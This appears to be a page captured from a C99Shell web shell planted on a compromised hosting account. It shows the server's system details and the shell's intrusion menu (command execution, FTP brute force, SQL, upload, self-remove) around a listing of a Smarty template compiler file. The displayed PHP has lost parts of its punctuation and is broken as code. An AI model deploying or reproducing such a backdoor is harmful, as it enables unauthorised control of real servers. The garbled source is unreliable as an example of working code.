!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/musvin.pp.ua/modules-alien/smarty/libs/sysplugins/   drwxr-xr-x
Free 116.75 GB of 200.55 GB (58.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     smarty_internal_compile_insert.php (4.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Smarty Internal Plugin Compile Insert
 * 
 * Compiles the {insert} tag
 * 
 * @package Smarty
 * @subpackage Compiler
 * @author Uwe Tews 
 */
/**
 * Smarty Internal Plugin Compile Insert Class
 */
class Smarty_Internal_Compile_Insert extends Smarty_Internal_CompileBase {
    
/**
     * Compiles code for the {insert} tag
     * 
     * @param array $args array with attributes from parser
     * @param object $compiler compiler object
     * @return string compiled code
     */
    
public function compile($args$compiler)
    {
        
$this->compiler $compiler;
        
$this->required_attributes = array('name');
        
$this->optional_attributes = array('_any'); 
        
// check and get attributes
        
$_attr $this->_get_attributes($args); 
        
// never compile as nocache code
        
$this->compiler->suppressNocacheProcessing true;
        
$this->compiler->tag_nocache true;
        
$_smarty_tpl $compiler->template;

        
$_output '<?php '
        
// save posible attributes
        
eval('$_name = ' $_attr['name'] . ';');
        if (isset(
$_attr['assign'])) {
            
// output will be stored in a smarty variable instead of beind displayed
            
$_assign $_attr['assign']; 
            
// create variable to make shure that the compiler knows about its nocache status
            
$this->compiler->template->tpl_vars[trim($_attr['assign'], "'")] = new Smarty_Variable(nulltrue);
        } 
        if (isset(
$_attr['script'])) {
            
// script which must be included
            
$_function "smarty_insert_{$_name}";
            
$_smarty_tpl $compiler->template;
            
$_filepath false;
            eval(
'$_script = ' $_attr['script'] . ';');
            if (!
$this->compiler->smarty->security && file_exists($_script)) {
                
$_filepath $_script;
            } else {
                if (
$this->compiler->smarty->security) {
                    
$_dir $this->compiler->smarty->security_policy->trusted_dir;
                } else {
                    
$_dir $this->compiler->smarty->trusted_dir;
                } 
                if (!empty(
$_dir)) {
                    foreach((array)
$_dir as $_script_dir) {
                        if (
strpos('/\\'substr($_script_dir, -1)) === false) {
                            
$_script_dir .= DS;
                        } 
                        if (
file_exists($_script_dir $_script)) {
                            
$_filepath $_script_dir $_script;
                            break;
                        } 
                    } 
                } 
            } 
            if (
$_filepath == false) {
                
$this->compiler->trigger_template_error("{insert} missing script file '{$_script}'"$this->compiler->lex->taglineno);
            } 
            
// code for script file loading
            
$_output .= "require_once '{$_filepath}' ;";
            require_once 
$_filepath;
            if (!
is_callable($_function)) {
                
$this->compiler->trigger_template_error(" {insert} function '{$_function}' is not callable in script file '{$_script}'"$this->compiler->lex->taglineno);
            } 
        } else {
            
$_filepath 'null';
            
$_function "insert_{$_name}"
            
// function in PHP script ?
            
if (!is_callable($_function)) {
                
// try plugin
                
if (!$_function $this->compiler->getPlugin($_name'insert')) {
                    
$this->compiler->trigger_template_error("{insert} no function or plugin found for '{$_name}'"$this->compiler->lex->taglineno);
                } 
            } 
        } 
        
// delete {insert} standard attributes
        
unset($_attr['name'], $_attr['assign'], $_attr['script']); 
        
// convert attributes into parameter array string
        
$_paramsArray = array();
        foreach (
$_attr as $_key => $_value) {
            
$_paramsArray[] = "'$_key' => $_value";
        } 
        
$_params 'array(' implode(", "$_paramsArray) . ')'
        
// call insert
        
if (isset($_assign)) {
            if (
$_smarty_tpl->caching) {
                
$_output .= "echo Smarty_Internal_Nocache_Insert::compile ('{$_function}',{$_params}, \$_smarty_tpl, '{$_filepath}',{$_assign});?>";
            } else {
                
$_output .= "\$_smarty_tpl->assign({$_assign} , {$_function} ({$_params},\$_smarty_tpl->smarty,\$_smarty_tpl), true);?>";
            } 
        } else {
            
$this->compiler->has_output true;
            if (
$_smarty_tpl->caching) {
                
$_output .= "echo Smarty_Internal_Nocache_Insert::compile ('{$_function}',{$_params}, \$_smarty_tpl, '{$_filepath}');?>";
            } else {
                
$_output .= "echo {$_function}({$_params},\$_smarty_tpl->smarty,\$_smarty_tpl);?>";
            } 
        } 
        return 
$_output;
    } 


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0102 ]--